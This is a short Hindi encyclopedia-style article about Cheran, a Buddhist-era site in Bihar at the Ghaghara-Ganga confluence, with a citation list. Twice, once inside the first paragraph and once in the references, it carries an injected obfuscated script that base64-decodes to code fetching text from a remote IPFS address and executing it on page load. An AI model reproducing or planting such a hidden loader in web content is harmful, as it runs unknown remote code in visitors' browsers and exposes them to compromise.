चेरान
चेरान बिहार का ऐतिहासिक स्थान है। यह उत्तर-पूर्व रेल के गोल्डनगंज स्टेशन से प्राय: एक मील (लगभग 1.6 कि.मी.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> की दूरी पर घाघरा और गंगा नदी के संगम पर बसा हुआ बौद्ध कालीन स्थान है।[1]
- चेरान की नींव 'चेरस' नामक राजा ने डाली थी।
- चीनी यात्री युवानच्वांग के अनुसार इस स्थान पर सत्यप्रकृति नामक ब्राह्मण ने एक घड़े पर कुंभ-स्तूप बनवाया था।
- स्तूप के स्थान पर एक ऊँचा ढूह[2] आज भी देखा जा सकता है। ढूह के ऊपर हुसैनशाह के नाम से प्रसिद्ध एक मसजिद भी है।
- महाकवि कालिदास ने सरयू-जाह्नवी[3] के संगम स्थल को तीर्थ बताया है। यहाँ अयोध्या के राजा दशरथ के पिता 'अज' ने वृद्धावस्था में प्राणत्याग किए थे।
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टीका टिप्पणी और संदर्भ
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 344 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ मिट्टी का टीला या ढेर
- ↑ घाघरा और गंगा
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